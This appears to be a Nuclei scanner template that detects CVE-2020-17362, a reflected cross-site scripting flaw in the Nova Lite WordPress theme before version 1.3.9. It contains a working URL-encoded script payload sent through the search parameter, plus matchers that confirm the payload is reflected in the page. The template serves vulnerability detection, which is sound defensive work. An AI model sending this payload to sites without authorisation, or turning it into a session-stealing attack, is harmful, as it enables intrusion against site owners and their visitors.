id: CVE-2020-17362

info:
  name: Nova Lite < 1.3.9 - Cross-Site Scripting
  author: daffainfo
  severity: medium
  description: Nova Lite before 1.3.9 for WordPress is susceptible to reflected cross-site scripting via search.php.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute malicious scripts in the context of the victim's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
  remediation: |
    Upgrade to Nova Lite version 1.3.9 or later to mitigate this vulnerability.
  reference:
    - https://wpscan.com/vulnerability/30a83491-2f59-4c41-98bd-a9e6e5a609d4
    - https://nvd.nist.gov/vuln/detail/CVE-2020-17362
    - https://themes.trac.wordpress.org/browser/nova-lite/1.3.9/readme.txt?rev=134076
    - https://github.com/ARPSyndicate/kenzer-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2020-17362
    cwe-id: CWE-79
    epss-score: 0.00101
    epss-percentile: 0.41606
    cpe: cpe:2.3:a:themeinprogress:nova_lite:*:*:*:*:*:wordpress:*:*
  metadata:
    max-request: 1
    vendor: themeinprogress
    product: nova_lite
    framework: wordpress
  tags: cve2020,cve,wordpress,xss,wp-plugin,wpscan,unauth,themeinprogress

http:
  - method: GET
    path:
      - '{{BaseURL}}/?s=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "</script><script>alert(document.domain)</script>"

      - type: word
        part: body
        words:
          - "nova-lite"

      - type: word
        part: header
        words:
          - text/html

      - type: status
        status:
          - 200
# digest: 490a0046304402203d00576c81fb7c46d7ce9ea56285888367999208c56dd856d99ba37084b3e4f302205d8fde61931a8709f14b215a0945fb7e5c3f201ff901f6a5f3ed45f0221df8a9:922c64590222798bb761d5b6d8e72950